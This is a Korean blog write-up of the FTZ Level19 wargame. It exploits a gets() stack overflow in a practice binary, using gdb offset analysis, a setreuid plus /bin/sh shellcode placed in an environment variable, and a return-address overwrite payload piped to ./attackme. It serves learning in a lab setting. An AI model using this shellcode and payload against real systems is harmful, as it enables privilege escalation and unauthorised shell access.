ii4gsp

FTZ - Level19 본문

시스템 해킹/FTZ

FTZ - Level19

ii4gsp 2020. 1. 11. 20:33

소스코드가 아주 짧아졌다.

gets()함수에서 취약점이 발생한다.

 

 

 

 

gdb로 파일을 열고 disas main을해주고

<main+9>를 보면 0xffffffd8은 2진수로 1101 1000인데 1의 보수를 해주면 0010 0111이되고  2의 보수를 해주면 +1이 되니 40이된다

buf에서 ebp까지의 거리는 40이다.

buf에서 ret까지의 거리는 44가된다

44byte의 값을 채워주고 쉘코드를 넣으면될것 이다.

 

 

 

 

#include <stdio.h>

int main()
{
	printf("%p\n", getenv("shellcode"));
    return 0;
}

shellcode의 주소를 알아내기 위해 c언어로 코드를 작성해주었다.

 

 

 

 

 setreuid함수가 없어서 setreuid가 포함된 41byte 쉘코드를 환경변수에 등록하였다.

 

환경변수

export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

 

 

 

아까 작성한 코드로 쉘코드의 주소를 알아내었으니 페이로드를 작성할 수 있다.

 

 

 

 

 

 

payload

(python -c 'print "\x90" * 44 + "\xde\xfe\xff\xbf"';cat) | ./attackme

'시스템 해킹 > FTZ' 카테고리의 다른 글

FTZ - Level20  (0) 2020.01.12
FTZ - Level18  (0) 2020.01.11
FTZ - Level17  (0) 2020.01.10
FTZ - Level16  (0) 2020.01.10
FTZ - Level15  (0) 2020.01.10
Comments